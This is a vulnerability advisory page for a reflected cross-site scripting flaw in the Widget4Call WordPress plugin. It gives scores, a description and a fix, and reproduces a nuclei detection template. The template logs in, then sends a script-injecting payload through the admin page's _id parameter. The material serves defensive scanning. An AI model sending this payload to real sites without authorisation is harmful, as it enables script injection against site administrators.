Browse / CVEs / CVE-2024-13099
CVE-2024-13099· apidaze / widget4call· CWE-79
Widget4Call WordPress - Cross-Site Scripting
mediumseverity
5.4CVSS score
0.7%likelihood of exploitation, next 30 days
54%of all CVEs are less likely
Readycheck to confirm it
Widget4Call WordPress plugin <= 1.0.7 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
Impact
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
Fix
Update to the latest version of Widget4Call plugin that addresses this issue.
How to confirm it
Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=w4c_devmode&_id=1"></script><script>alert(document.domain)</script><script>`
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>`")Run it with nuclei: nuclei -id CVE-2024-13099 -u <target>
The full check
id: CVE-2024-13099
info:
name: Widget4Call WordPress - Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
Widget4Call WordPress plugin <= 1.0.7 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
impact: |
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
remediation: |
Update to the latest version of Widget4Call plugin that addresses this issue.
reference:
- https://wpscan.com/vulnerability/a0cabf5c-7b01-4163-834b-a134db3a90b4/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2024-13099
cwe-id: CWE-79
epss-score: 0.00712
epss-percentile: 0.53925
cpe: cpe:2.3:a:apidaze:widget4call:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: apidaze
product: widget4call
tags: cve,cve2024,wp-scan,wordpress,wp-plugin,apidaze,widget4call
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=w4c_devmode&_id=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(document.domain)</script><script>`")
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from